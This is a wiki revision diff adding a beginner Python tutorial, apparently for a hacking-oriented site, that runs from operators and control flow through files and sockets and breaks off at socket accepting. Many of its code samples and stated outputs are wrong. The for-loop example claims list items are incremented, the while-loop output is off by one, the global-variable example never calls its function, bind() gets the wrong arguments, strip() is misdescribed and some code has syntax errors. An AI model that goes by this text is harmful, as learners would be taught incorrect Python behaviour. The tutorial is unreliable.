Difference between revisions of "Python"
(→Strengths and Weaknesses of Python) |
|||
(108 intermediate revisions by 9 users not shown) | |||
Line 1: | Line 1: | ||
− | Python is a high-level [[interpreted_languages|interpreted language]] designed around functionality and cleanliness. It is often compared to [[perl]] in terms of functionality and usage. | + | Python is a high-level [[interpreted_languages|interpreted language]] (originally written in [[C]]) designed around functionality and cleanliness. It is often compared to [[perl]] in terms of functionality and usage. |
==Strengths and Weaknesses of Python== | ==Strengths and Weaknesses of Python== | ||
− | + | Python draws strength from being convenient and simple to write. Many people view it as one of the easiest scripting languages to code in. As such, a common usage for python is to write a 'prototype' of a program before implementing it in a heavier language like [[C]]. Furthermore, due to it's interpretive nature, a python script is easily modified - there are no compiled binaries to disassemble and reverse-engineer. | |
− | + | However, the language's strengths often become weaknesses. For example, as was noted before, python is not a compiled language. This means that it is very difficult to protect python code - every program is in its raw form, and can be freely edited and reused. There are methods, such as [[Cryptography|code obfuscation]], that can be used to protect code, but these are not foolproof. In addition, python programs tend to run inefficently, hogging more resources than necessary - tasks like cracking, encryption, or anything that requires large numbers of computations should preferably be automated with some other language. | |
− | + | One of the most pertinent drawbacks to python is it's incompatibility - as of version 3.0 of Python, a large portion of the language has been rewritten, including many keywords being turned into functions - for example | |
− | [[ | + | {{code|text= |
+ | <source lang="python"> | ||
+ | print "hello, world!" #a keyword | ||
+ | </source> | ||
+ | }} | ||
+ | would now be | ||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | print("hello, world!") #a function | ||
+ | </source> | ||
+ | }} | ||
+ | Although this and other changes are relatively minor, they render python 3.0 programs incompatible with 2.6, 2.5 etc. This is further exascerbated by the fact that many developers continue to code in 2.6. | ||
+ | |||
+ | ==Installation== | ||
+ | |||
+ | Python development is based at it's website at [http://www.python.org python.org]. Python (in every recent incarnation) can be downloaded in the form of Windows binaries and sources for compilation in a *nix environment. While it is currently available in versions 2.7.2 and 3.2.2, it is advised that new programmers download the latest version so as not to learn a language that is becoming obsolete - of course, it is wise to learn the nuances between 2.7 and 3.2 so that you can port older programs, and write programs that are compatible with older versions. | ||
+ | |||
+ | Many distributions come with python preloaded (although it may be an older version), while many more will be able to obtain python using the package manager of their choice. For example, in Arch: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="bash"> | ||
+ | pacman -S python | ||
+ | </source>}} | ||
+ | |||
+ | Under Windows, python can either be run from the command line or under it's GUI, as installed under the Python folder of the Start menu. Under linux, python is entirely commandline. | ||
+ | |||
+ | Python operates in two modes - the IDLE, which is an interactive python prompt, in which you can execute python statements in a manner that is persistent within your session, but is lost when you exit. It can also be used to run a python script, which has the extension .py | ||
+ | |||
+ | To run a python script, execute: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="bash"> | ||
+ | python scriptname.py | ||
+ | </source>}} | ||
+ | |||
+ | It will be executed in the commandline. | ||
+ | |||
+ | To open the IDLE, simple type: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="bash"> | ||
+ | python | ||
+ | </source>}} | ||
+ | |||
+ | You should be presented with some version information and a prompt like this: | ||
+ | |||
+ | >>> | ||
+ | |||
+ | From there on, any python statement will execute as if read from a .py program. Use the exit() function to close the IDLE. | ||
+ | |||
+ | ==Basic Application== | ||
+ | |||
+ | ===Python Operators=== | ||
+ | |||
+ | These are the basic operators of the python language, used for comparison and assignment: | ||
+ | |||
+ | * = is equal to (assignment) | ||
+ | * == equal to (comparison) | ||
+ | * != not equal to | ||
+ | * > greater than | ||
+ | * > less than | ||
+ | * >= greater than or equal to | ||
+ | * <= less than o equal to | ||
+ | |||
+ | ===Python Arithmetic=== | ||
+ | |||
+ | The standard arithmetic operators in python are as follows: | ||
+ | |||
+ | * + addition | ||
+ | * - subtraction | ||
+ | * * multiplication | ||
+ | * / division | ||
+ | * ** powers | ||
+ | |||
+ | ===Python Bitwise Operators=== | ||
+ | |||
+ | Python also supports some bitwise operations: | ||
+ | |||
+ | * ^ xor | ||
+ | * & and | ||
+ | * | or | ||
+ | * << bitwise shift left | ||
+ | * >> bitwise shift right | ||
+ | |||
+ | ===Variable Definition=== | ||
+ | |||
+ | Python variables are 'loosely typed', meaning that they don't have a set type - other languages, such as C, require the type of a variable to be defined. For example, a variable designed to store integers must be set as an int, and will not store characters, or boolean values, or anything else - attempting to store these in it will raise an exception. | ||
+ | |||
+ | To define a variable (x, for the sake of the argument) you use the '=' operator: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | x = 12 | ||
+ | </source>}} | ||
+ | |||
+ | Note that there is no definition of type. Python knows it's meant to represent a number because we put a number into it. This is both flexible and, at times, annoying when you try to perform an operation that is invalid and it breaks. | ||
+ | |||
+ | {{Warning|There is a distinct difference between the '==' and '=' operators. It's important to recognise this, as getting the two mixed up is one of the most common rookie errors in any language. '=' sets something equal to something else, whereas '==' compares two values and returns true if they're equal.}} | ||
+ | |||
+ | Python does support the string datatype - that is, you can define a variable to be equal to a string of text, for example: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | hi = "hello, world!" | ||
+ | </source>}} | ||
+ | |||
+ | Strings can be added to each other in much the same manner as numbers can - adding two strings will simply return the first string with the second string tacked on at the end. | ||
+ | |||
+ | Another form of variable that python employs is the list. This is similar to an array in C and other languages - a list can be defined by giving a series of values enclosed by squared brackets [ ]. Items in the list can be referenced according to index number (zero indexed) in much the same manner as C. | ||
+ | |||
+ | Example: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | list = [ " is ", "eggs", "male", "selketraz" ] | ||
+ | print(list) | ||
+ | print(list[3] + list[0] + list[2]) | ||
+ | </source>}} | ||
+ | |||
+ | Output: | ||
+ | |||
+ | {{code|text= | ||
+ | [" is ", "eggs", "male", "selketraz"] | ||
+ | |||
+ | selketraz is male | ||
+ | }} | ||
+ | |||
+ | A string can be referred to as though it were a list - for example, in the string "hello" stored in variable 'hi', you could reference the letter 'e' by referring to h[1]. However, python does not allow you to assign values to elements in a string. | ||
+ | |||
+ | ===Printing and Receiving Input=== | ||
+ | |||
+ | Two basic functions that are instrumental to writing python code are the print() and input() calls. print() simply prints whatever arguments you give it to stdout, and input takes a string prompt as an argument and returns whatever input that it receives from stdin, in the form of a string. | ||
+ | |||
+ | for example: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | name = input("What is your name? ") | ||
+ | print(name) | ||
+ | </source>}} | ||
+ | |||
+ | The snippet above would print a prompt to the screen saying "What is your name? ", and wait for input. When you press the enter key, any input you've given it will be stored into the variable 'name'. It then prints the value of the variable 'name'. | ||
+ | |||
+ | Take notice that in versions of Python before 3.x, the input() call should be raw_input(). In the example below you can see the difference when using input() vs raw_input() and problems that may arise. | ||
+ | |||
+ | <pre> | ||
+ | home ~ » python | ||
+ | Python 2.7.3 (default, Aug 1 2012, 05:14:39) | ||
+ | [GCC 4.6.3] on linux2 | ||
+ | Type "help", "copyright", "credits" or "license" for more information. | ||
+ | >>> name = input("What is your name? ") | ||
+ | What is your name? admin | ||
+ | Traceback (most recent call last): | ||
+ | File "<stdin>", line 1, in <module> | ||
+ | File "<string>", line 1, in <module> | ||
+ | NameError: name 'admin' is not defined | ||
+ | >>> name = raw_input("What is your name?" ) | ||
+ | What is your name? admin | ||
+ | >>> name | ||
+ | 'admin' | ||
+ | </pre> | ||
+ | |||
+ | |||
+ | It is pertinent to note that the print() call can print both the value of a variable - print(name) - or it can be supplied with a raw string - print("hello, world!"). It's also important to remember that input() always returns a string - if you're trying to use a number from input, you'd have to typecast it, as discussed later. | ||
+ | |||
+ | ===Commenting=== | ||
+ | |||
+ | It is possible to insert a comment, a block of text that is not interpreted by the python interpreter, into a module with the # symbol. This is not part of the program, but exists for readability. For example: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | print("hello, world!") #prints hello to the screen | ||
+ | </source>}} | ||
+ | |||
+ | Comments can also be made in larger, multi-line blocks by using threee double quotes at the start and end of your text. | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | """ | ||
+ | Here is an example of a multi-line comment | ||
+ | inside of a Python script. | ||
+ | This text is not evaluated when your code is executed. | ||
+ | Comment sections like this are a good place to hold To-Do lists | ||
+ | and other longer text blocks | ||
+ | """ | ||
+ | </source>}} | ||
+ | |||
+ | ==Modules== | ||
+ | |||
+ | A module is a seperate python script (in [[C|some languages]], it is called a header) that can be included in multiple programs to add functionality. This has several uses: | ||
+ | *code reuse - modular code can be easily imported into any script | ||
+ | *ease of reading - it's easier to locate code in a set of modules than in one huge program | ||
+ | |||
+ | There are many python modules that are a part of the basic python framework, and can be called from anywhere. Examples include the time module, which contains functionality for the clock and sleep functions, or the random module, which contains functionality for random generation. It is also possible to write your own modules containing functions, and import them into a program in the same way. | ||
+ | |||
+ | In order to import a module(for example random): | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | import random | ||
+ | </source>}} | ||
+ | |||
+ | ===Third-Party and Custom Modules=== | ||
+ | |||
+ | In order to import one of your own custom modules or a third-party downloaded module, simply place them in the same directory and import them in the same manner. For example, if you had written a module, my_module.py: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | import my_module | ||
+ | </source>}} | ||
+ | |||
+ | Alternatively, you can install the module, integrating it into your distribution of Python. In order to install a packaged module, simply unzip the parent directory and run the setup.py setup script: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="bash"> | ||
+ | python setup.py install | ||
+ | </source>}} | ||
+ | |||
+ | If the script is not packaged with a setup script, you can manually add it to Python's search path; when it sees the import command, the interpreter first searches for the relevant module in the current directory, then in the standard python module directory. In unix, this is usually "/usr/local/lib/python", so to add module 'autopwn.py': | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="bash"> | ||
+ | cp ./autopwn.py /usr/local/lib/python | ||
+ | </source>}} | ||
+ | |||
+ | You would then be able to call autopwn.py from any python script with | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | import autopwn | ||
+ | </source>}} | ||
+ | |||
+ | ===Calling on a function within a module=== | ||
+ | |||
+ | As an example of how to call functions from within modules, we will use the time module. The syntax for calling a function stored in a module is: | ||
+ | |||
+ | {{code|text= modulename.functionname(argument)}} | ||
+ | |||
+ | Likewise, to reference a variable from a module: | ||
+ | |||
+ | {{code|text = modulename.variablename}} | ||
+ | |||
+ | To illustrate this, in order to use the sleep() function from the time module: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | import time | ||
+ | time.sleep(50) #sleep 50 seconds | ||
+ | </source>}} | ||
+ | |||
+ | ==Variable Operation== | ||
+ | |||
+ | |||
+ | ===List Operations=== | ||
+ | |||
+ | Using the string module, it is possible to perform a variety of transformations to strings that go beyond the basic concatenation and indexing functionality that python provides. | ||
+ | |||
+ | Although we have seen that it is possible to reference a character in a string by its indexed position, it is possible to extend this. By including a colon : in the square brackets, we can indicate a range of characters(or other elements) to select. This functionality does not require the string module. | ||
+ | |||
+ | for example: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | test_str = "hello, world!" | ||
+ | print (test_str[0:5]) | ||
+ | print(test_str[:7]) | ||
+ | print(test_str[-2:] | ||
+ | </source>}} | ||
+ | |||
+ | output: | ||
+ | |||
+ | {{code|text= | ||
+ | hello,<br> | ||
+ | hello, w <br> | ||
+ | d! <br> | ||
+ | }} | ||
+ | |||
+ | As we can see here, it follows a few basic rules: | ||
+ | |||
+ | * [n:x] select characters from position n to position x | ||
+ | * [:n] select characters from the beginning of the string up to position n | ||
+ | * [n:] select characters from position n to the end of the string | ||
+ | * [-n:] select characters from n to the end of the string, starting from the right (note: when starting from the right, it is not considered to be zero-indexed) | ||
+ | |||
+ | ====Advanced List Operations==== | ||
+ | |||
+ | =====append()===== | ||
+ | |||
+ | Syntax: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | list.append(item) | ||
+ | </source>}} | ||
+ | |||
+ | Append 'item' to list 'list'. | ||
+ | |||
+ | =====insert()===== | ||
+ | |||
+ | Syntax: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | list.insert(index,item) | ||
+ | </source>}} | ||
+ | |||
+ | Instrt 'item' into 'list' at position 'index'. | ||
+ | |||
+ | =====index()===== | ||
+ | |||
+ | Syntax: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | return = list.index(match) | ||
+ | </source>}} | ||
+ | |||
+ | Returns the index value of the first value of 'list' whose value is equal to 'match' into 'return'. | ||
+ | |||
+ | ===String Operations=== | ||
+ | |||
+ | Using the string module, it is possible to perform a variety of transformations to strings that go beyond the basic concatenation and indexing functionality that python provides. | ||
+ | |||
+ | ====strip()==== | ||
+ | |||
+ | Syntax: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | strname.strip("phrase") | ||
+ | </source>}} | ||
+ | |||
+ | Strips out every instance of "phrase" from the string 'strname' | ||
+ | |||
+ | ====split()==== | ||
+ | |||
+ | Syntax: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | list = strname.split("delimiter") | ||
+ | </source>}} | ||
+ | |||
+ | Splits 'strname' into a list of elements seperated by the delimiter given as an argument and returns it into 'list'. By default, the delimiter is " ". | ||
+ | |||
+ | For example: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | string1 = "#hardchatz all day erryday" | ||
+ | list = string1.split('a') | ||
+ | print(list) | ||
+ | </source>}} | ||
+ | |||
+ | output: | ||
+ | |||
+ | {{code|text= | ||
+ | ['#h', 'rdch', 'tz ', 'll d', 'y erryd', 'y'] | ||
+ | }} | ||
+ | ====find()==== | ||
+ | |||
+ | Syntax: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | int = strname.find("match") | ||
+ | </source>}} | ||
+ | |||
+ | Searches for an instance of "match" in string 'strname', and returns -1 to 'int' if false. | ||
+ | |||
+ | ===Typecasting=== | ||
+ | |||
+ | In many cases, we are presented with a variable that has the wrong datatype - a common example would be the return value of the input() call. It always returns a string, as in this example: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | #calculator | ||
+ | num1 = input("Enter first number: ") | ||
+ | num2 = input("Enter second number: ") | ||
+ | print(num1 + num2) | ||
+ | </source>}} | ||
+ | |||
+ | The above snippet of code looks like it should work, and will execute without errors. However, if for example you put in the numbers 1 and 4 to add together, as output you will be given: 14. | ||
+ | |||
+ | The reason for this is that input() returns a string. When you try to add num1 and num2, python sees the following: | ||
+ | |||
+ | {{code|text= | ||
+ | num1 + num2<br> | ||
+ | '1' + '4'<br> | ||
+ | '14'<br> | ||
+ | }} | ||
+ | |||
+ | In order to solve it, you must convert the string containing the number into an actual integer: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | #calculator | ||
+ | num1 = input("Enter first number: ") | ||
+ | num2 = input("Enter second number: ") | ||
+ | print(int(num1) + int(num2)) | ||
+ | </source>}} | ||
+ | |||
+ | Typecasting functions: | ||
+ | |||
+ | *int() returns the argument as an integer | ||
+ | *str() returns the argument as a string | ||
+ | |||
+ | Note that this is not technically typecasting in the traditional sense as the functions actually convert the arguments, but it serves the same purpose. | ||
+ | |||
+ | ==Statements and Loops== | ||
+ | |||
+ | Without some form of control flow, any python program is just a series of executed commands. Python, like almost every other programming language, employs loops and statements to create forks in program execution depending on circumstance. | ||
+ | |||
+ | ===If Statement=== | ||
+ | |||
+ | One of the most vital statements, If is used in almost every program. Expect to get familiar with it! The if statement is used in three flavors: If, If-Else and If-Elif (and combinations there of, e.g If-Elsif-Else). | ||
+ | |||
+ | ====If==== | ||
+ | |||
+ | The simple if statement simply checks whether a condition is met - if it is, it executes some code, otherwise it continues. | ||
+ | |||
+ | Syntax: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | x = input("X: ") | ||
+ | if int(x) > 4: | ||
+ | print("x is greater than 4.") | ||
+ | </source>}} | ||
+ | |||
+ | Note the whitespace before the print call - this is how the interpreter knows which code is part of the if statement and which code is to be executed after the if statement is done. Standard whitespace is either 1 tab or 4 spaces. | ||
+ | |||
+ | ====If-Else==== | ||
+ | |||
+ | If-Else will execute in much the same way as the basic if statement, but with a form of exception handling: it will execute one set of instructions if the condition is met, and will execute another if it is not. | ||
+ | |||
+ | Syntax: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | x = input("X: ") | ||
+ | if int(x) > 4: | ||
+ | print("x is greater than 4.") | ||
+ | else: | ||
+ | print("x is not greater than 4.") | ||
+ | </source>}} | ||
+ | |||
+ | Again, note the use of whitespace. | ||
+ | |||
+ | ====If-Elif==== | ||
+ | |||
+ | Elif is short for "Else-If", and the If-Elif statement does exactly that. Instead of writing: | ||
+ | |||
+ | Syntax: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | if int(condition): | ||
+ | code | ||
+ | else: | ||
+ | if (condition): | ||
+ | code | ||
+ | </source>}} | ||
+ | |||
+ | You can use if-elif to condense this, like so: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | x = input("X: ") | ||
+ | if int(x) > 4: | ||
+ | print("x is greater than 4.") | ||
+ | elif int(x) == 4: | ||
+ | print("x is equal to 4.") | ||
+ | elif int(x) < 4: | ||
+ | print("x is less than 4.") | ||
+ | </source>}} | ||
+ | |||
+ | ===While Loop=== | ||
+ | |||
+ | The function of the while loop is to execute an if statement endlessly until the specified condition is no longer met. | ||
+ | |||
+ | Syntax: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | x = 0 | ||
+ | while x < 20: | ||
+ | print(x) | ||
+ | x = x + 1 | ||
+ | </source>}} | ||
+ | |||
+ | The above snippet of code will endlessly print the value of x, and then increase it by 1, until x is equal to or greater than 20. | ||
+ | |||
+ | {{code|text= | ||
+ | 1 | ||
+ | 2 | ||
+ | 3 | ||
+ | 4 | ||
+ | 5 | ||
+ | 6 | ||
+ | 7 | ||
+ | 8 | ||
+ | 9 | ||
+ | 10 | ||
+ | 11 | ||
+ | 12 | ||
+ | 13 | ||
+ | 14 | ||
+ | 15 | ||
+ | 16 | ||
+ | 17 | ||
+ | 18 | ||
+ | 19 | ||
+ | 20 | ||
+ | }} | ||
+ | |||
+ | Keep in mind that while loops with lots of nested If-Elif statements are a great way to hog resources.. | ||
+ | |||
+ | |||
+ | If you have a situation that requires a loop to be continuously executed, you can use statements that will always be evaluated as True. | ||
+ | This is occasionally utilized for command line prompts, although prompts are better created by using the Python module 'Cmd'. You can use 'break' to exit out of a continuous loop. | ||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | prompt = "cmd => " | ||
+ | while True: | ||
+ | command = input(prompt) | ||
+ | if command == "exit!": | ||
+ | break | ||
+ | else: | ||
+ | os.system(command) | ||
+ | </source>}} | ||
+ | |||
+ | ===For Loop=== | ||
+ | |||
+ | For is one of the more complicated loops (though still quite simple to use) that can be confusing to those used to other languages, as the for loop in python differs from the for loop in [[C]]. | ||
+ | |||
+ | Syntax: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | for local in sequence: | ||
+ | code | ||
+ | </source>}} | ||
+ | |||
+ | The for loop allows you to specify a list, and assign a temporary local variable (in the case above, it is 'local') that represents the current item. For example, to increase every value in a list by 1: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | list1 = [1,2,3,4,5,6,7,8,9,10] | ||
+ | for item in list1: | ||
+ | item = item + 1 | ||
+ | print(list1) | ||
+ | </source>}} | ||
+ | |||
+ | output: | ||
+ | |||
+ | {{code|text= | ||
+ | [2, 3, 4, 5, 6, 7, 8, 9, 10, 11] | ||
+ | }} | ||
+ | |||
+ | |||
+ | ==Functions== | ||
+ | |||
+ | Functions have been briefly touched on before when referring to the commands that you pass to python in order to execute code: for example: print(), int(), and input() are all examples of functions. We have also referred to functions from imported module, for example the time module's sleep() function. | ||
+ | |||
+ | To define a function, use the def statement: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | def function_name(arguments): | ||
+ | code to be executed | ||
+ | </source>}} | ||
+ | |||
+ | For example, for a function to add one to any number given to it as input: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | def addone(in_var): | ||
+ | in_var = in_var + 1 | ||
+ | return in_var | ||
+ | </source>}} | ||
+ | |||
+ | This layout, like the for loop's function, can be confusing. In C and other languages, you return a numeric value (which acts as an error code for the function) and you take both input and output variables as arguments. In python, however, you only take input variables as functions, and you can return anything - in fact, you often have to in order to have any output. Returning instantly ends the function, so it's a good way to break out of an if statement or while loop without executing the code after it. | ||
+ | |||
+ | The variables that you refer to in the arguments section of the function definition are temporary local variables, much like those of a for loop. For example, if you called addone() with addone(x), then for that execution the function would look like this: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | def addone(x): | ||
+ | x = x + 1 | ||
+ | return x | ||
+ | </source>}} | ||
+ | |||
+ | It should also be noted that any variables declared within the function are considered local variables, even if there is a global variable of the same name. A global variable is one that exists throughout the entire program, whereas a local variable exists only in the function it's defined in. For example. if you define variable x in a function, then try to call on x after the function ends, you will receive an error - x does not exist outside of that function. In order to call a glboal variable within a function, you must set it with the global type: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | number = 7 | ||
+ | |||
+ | def func(): | ||
+ | global number | ||
+ | number = 9 | ||
+ | |||
+ | print(number) | ||
+ | </source>}} | ||
+ | |||
+ | output: | ||
+ | |||
+ | {{code|text= | ||
+ | 9 | ||
+ | }} | ||
+ | |||
+ | |||
+ | ==Classes== | ||
+ | |||
+ | A class is an object archetype that groups common elements, similar to a struct in C. | ||
+ | |||
+ | When a class is defined, an initialisation function, __init__(), must be defined. This takes the first argument as self and any further arguments to the class. The purpose of __init__() is to convert the arguments to the class into self.argument variables. This is necessary so that functions within the class can reference these arguments by including self as an argument and referencing self.argument. | ||
+ | |||
+ | To define a function that is an element of a class, simply give it self as its first argument and it can use any of the self.argument variables. You can also provide additional arguments to the function. | ||
+ | |||
+ | For example, a to create a class 'message' that stores messages and contains a function to print them: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | class message: #defines a class called message | ||
+ | def __init__(self, text): #defines the initialisation function that takes arguments from the class instance creation | ||
+ | self.text = text #converts the text argument ino a variable that is an element of the instance of the class, self.text | ||
+ | def print(self): #a function that prints self.text | ||
+ | print(self.text) | ||
+ | |||
+ | instance = message("this is my message") | ||
+ | |||
+ | print (instance.text) | ||
+ | instance.print() | ||
+ | </source> | ||
+ | }} | ||
+ | |||
+ | ==File Handling== | ||
+ | |||
+ | As long as your program only interfaces with itself, it can never interact with other applications or store the results of its work - one way of designing persistent programs is to have them save data to and read data from a file. This is where some of the real power of a scripting language can be seen, as in python this is incredibly easy. | ||
+ | |||
+ | ===Opening and closing a file=== | ||
+ | |||
+ | In order to interact with a file in python, you create a new object that represent the file within your program, known as the file object or file descriptor. The open() call is used to open a file, and it returns a file descriptor that you can use to read from and write to this file. | ||
+ | |||
+ | Syntax: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | fd = open(path, mode) | ||
+ | </source>}} | ||
+ | |||
+ | This opens a file where 'fd' is a variable that will become the file descriptor, 'path' is a string containing the path to the file, and 'mode' is a string containing the access mode for opening. Different access modes are used for different types of file access. | ||
+ | |||
+ | Access Modes: | ||
+ | |||
+ | * r: read-only permission | ||
+ | * w: overwrite-only permission | ||
+ | * a: write-append permission | ||
+ | * r+: read and overwrite permission | ||
+ | |||
+ | for example: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | fd = open("~/file.txt", "r+") | ||
+ | </source>}} | ||
+ | |||
+ | To close a file descriptor once you're done with it, simply call the close() function, which takes an fd as its argument. | ||
+ | |||
+ | Once a file is open, you can apply a variety of functions to its file descriptor to read and write what it contains. | ||
+ | |||
+ | ===Reading from a file=== | ||
+ | |||
+ | There are several functions used for reading from a file. For each of them, the function is called as an element of the file descriptor: | ||
+ | |||
+ | {{code|text= | ||
+ | fd.function() | ||
+ | }} | ||
+ | |||
+ | ====read()==== | ||
+ | |||
+ | read() simply reads data directly from a file into a buffer. It can be called without an argument, in which case it reads the entire file, or it can be given an integer limit (in bytes) of how much data to read. | ||
+ | |||
+ | Example: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | fd = open("~/test.txt", "r+") | ||
+ | buffer = fd.read(1000) | ||
+ | </source>}} | ||
+ | |||
+ | ====readline()==== | ||
+ | |||
+ | Similar to read(), the readline() function returns a new line from the file each time it is called. It can be easily incorporated into a while loop to read every line of a file, although the readlines() function eliminates the need for this. If asked to read a new line when it has reached the end of file, it returns an empty string, ''. | ||
+ | |||
+ | Example: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | fd = open("~/test.txt", "r+") #printing a file line by line | ||
+ | buffer = "\n" | ||
+ | |||
+ | while buffer != "": | ||
+ | buffer = fd.readline() | ||
+ | print(buffer) | ||
+ | </source>}} | ||
+ | |||
+ | ====readlines()==== | ||
+ | |||
+ | As mentioned before, readlines() reads each line of a file, and stores the output in a list. | ||
+ | |||
+ | Example: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | fd = open("~/test.txt", "r+") #printing a file line by line | ||
+ | |||
+ | buf_list = fd.readlines() | ||
+ | |||
+ | for item in buf_list: | ||
+ | print(item) | ||
+ | </source>}} | ||
+ | |||
+ | ==Socket Programming== | ||
+ | |||
+ | Alhough socket programming can be complicated and counter-intuitive in any language, python is one of the easiest to do this in. A socket is a kind of file descriptor that is used to refer to a [[Networking Concepts|network connection]] made between the computer, often known as the client, and any remote host. Socket programming in python is somewhat similar to file manipulation - in effect, it is the concept of files and file descriptors implemented in such a way that a connection is considered to be a file. This is instrumental to the UNIX philosophy. | ||
+ | |||
+ | In order to use the socket functions, you must import the socket module. | ||
+ | |||
+ | ===Creating a Socket=== | ||
+ | |||
+ | The socket function from the socket module is used to open a new socket in much the same way that open() is used to open files. It takes two arguments: the socket family and the socket type. | ||
+ | |||
+ | Socket Families: | ||
+ | *AF_INET: IPv4 (you will probably use this) | ||
+ | *AF_INET6: IPv6 | ||
+ | *AF_UNIX: unix domain | ||
+ | |||
+ | Socket Types: | ||
+ | *SOCK_STREAM: TCP, used for secure connections with little packet loss | ||
+ | *SOCK_DGRAM: UDP, used for many games and utilities | ||
+ | *SOCK_RAW: a raw socket | ||
+ | |||
+ | Example: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | #creates a socket intended to connect to a server | ||
+ | import socket | ||
+ | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | ||
+ | </source>}} | ||
+ | |||
+ | Much like files, sockets are closed with the close() function from the socket module. | ||
+ | |||
+ | ===Connecting a Socket=== | ||
+ | |||
+ | Once a socket has been created, you have opened a raw filed descriptor that python knows is intended to represent a specific type of network connection. After this, it is necessary to connect the socket to a remote host. This is done with the connect() function. | ||
+ | |||
+ | Note: If you are setting up a host rather than a client, you will need to read Binding and Accepting. | ||
+ | |||
+ | The connect() function takes two arguments - the hostname in string form, and a port number to connect to in integer form. | ||
+ | |||
+ | Example: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | #expanding our example to connect to blackhat academy's irc | ||
+ | import socket | ||
+ | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM | ||
+ | sock.connect(("irc.blackhatacademy.org", 6697)) #this is not a typo, you must use 2 sets of parentheses | ||
+ | </source>}} | ||
+ | |||
+ | If you are the client of your connection, you need not worry about Binding and Accepting, and can move on to Sending and Receiving. | ||
+ | |||
+ | ===Binding and Accepting=== | ||
+ | |||
+ | This is only relevant if your socket is intended to be a host. | ||
+ | |||
+ | ====Binding==== | ||
+ | |||
+ | If you are planning to accept incoming connections, you must bind your socket. Whereas connecting forms a connection with a remote socket, binding tells your socket to that it should use a specific port when looking for incoming connections. | ||
+ | |||
+ | You bind a socket using the bind() function, which takes 2 arguments: the hostname that you wish to bind to, and the port you wish to bind to. In general, the hostname will be your hostname, so you can use the gethostbyname() function from the socket module as the hostname argument. Once it is bound to your hostname and to a specific port, the socket knows that when told to listen, it should listen at that port. | ||
+ | |||
+ | Example: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | #simple program in preparation for accepting connections on port 31337 | ||
+ | import socket | ||
+ | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | ||
+ | server.bind(socket.gethostbyname(), 31337) | ||
+ | </source>}} | ||
+ | |||
+ | ====Listening==== | ||
+ | |||
+ | Once the socket is bound to a port, you must tell it to listen at that port. "Listening" refers to monitoring a port so that it can handle anything that tries to connect to that port. The listen() function does this, listening to connection attempts. It takes one argument, an integer value representing the maximum number of queued connection attempts to hold before dropping older ones. | ||
+ | |||
+ | Example: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | #simple program in preparation for accepting connections on port 31337, it now listens for incoming connections | ||
+ | import socket | ||
+ | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | ||
+ | server.bind(socket.gethostbyname(), 31337) | ||
+ | server.listen(1) #listen at port 31337 and queue only 1 connection at a time | ||
+ | </source>}} | ||
+ | |||
+ | After a connection is made, it must be accepted. | ||
+ | |||
+ | ====Accepting==== | ||
+ | |||
